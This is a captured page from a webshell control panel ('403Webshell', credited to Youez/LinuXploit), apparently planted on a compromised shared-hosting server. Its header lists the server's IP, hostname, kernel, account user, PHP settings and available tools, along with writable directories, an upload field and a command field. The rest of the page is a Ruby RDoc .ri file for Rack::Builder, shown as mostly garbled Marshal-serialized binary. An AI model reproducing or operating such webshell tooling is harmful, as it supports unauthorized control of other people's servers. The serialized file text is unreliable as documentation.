403Webshell
Server IP : 66.29.132.122  /  Your IP : 18.218.136.90
Web Server : LiteSpeed
System : Linux business142.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : admazpex ( 531)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/proc/thread-self/root/proc/thread-self/root/opt/alt/ruby26/lib64/ruby/gems/2.6.0/doc/rack-3.0.8/ri/Rack/Builder/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/proc/thread-self/root/proc/thread-self/root/opt/alt/ruby26/lib64/ruby/gems/2.6.0/doc/rack-3.0.8/ri/Rack/Builder/cdesc-Builder.ri
U:RDoc::NormalClass[iI"Builder:ETI"Rack::Builder;TI"Object;To:RDoc::Markup::Document:@parts[o;;[o:RDoc::Markup::Paragraph;[	I"ORack::Builder provides a domain-specific language (DSL) to construct Rack ;TI"Iapplications. It is primarily used to parse +config.ru+ files which ;TI"Minstantiate several middleware and a final application which are hosted ;TI"%by a Rack-compatible web server.;To:RDoc::Markup::BlankLineo;	;[I"
Example:;T@o:RDoc::Markup::Verbatim;[
I" app = Rack::Builder.new do
;TI"  use Rack::CommonLogger
;TI"  map "/ok" do
;TI"N    run lambda { |env| [200, {'content-type' => 'text/plain'}, ['OK']] }
;TI"  end
;TI"	end
;TI"
;TI"
run app
;T:@format0o;	;[I"Or;T@o;;[I" app = Rack::Builder.app do
;TI"  use Rack::CommonLogger
;TI"L  run lambda { |env| [200, {'content-type' => 'text/plain'}, ['OK']] }
;TI"	end
;TI"
;TI"
run app
;T;0o;	;[I"M+use+ adds middleware to the stack, +run+ dispatches to an application. ;TI"GYou can use +map+ to construct a Rack::URLMap in a convenient way.;T:
@fileI"lib/rack/builder.rb;T:0@omit_headings_from_table_of_contents_below0;
0;0[[U:RDoc::Constant[iI"UTF_8_BOM;TI"Rack::Builder::UTF_8_BOM;T:public0o;;[o;	;[I"ihttps://stackoverflow.com/questions/2223882/whats-the-difference-between-utf-8-and-utf-8-without-bom;T;
@1;0@1@cRDoc::NormalClass0[[[I"
class;T[[;[
[I"app;TI"lib/rack/builder.rb;T[I"load_file;T@G[I"new;T@G[I"new_from_string;T@G[I"parse_file;T@G[:protected[[:private[[I"
instance;T[[;[[I"	call;T@G[I"freeze_app;T@G[I"map;T@G[I"run;T@G[I"to_app;T@G[I"use;T@G[I"warmup;T@G[;[[;[[I"generate_map;T@G[[U:RDoc::Context::Section[i0o;;[;
0;0[@1I"	Rack;TcRDoc::NormalModule

Youez - 2016 - github.com/yon3zu
LinuXploit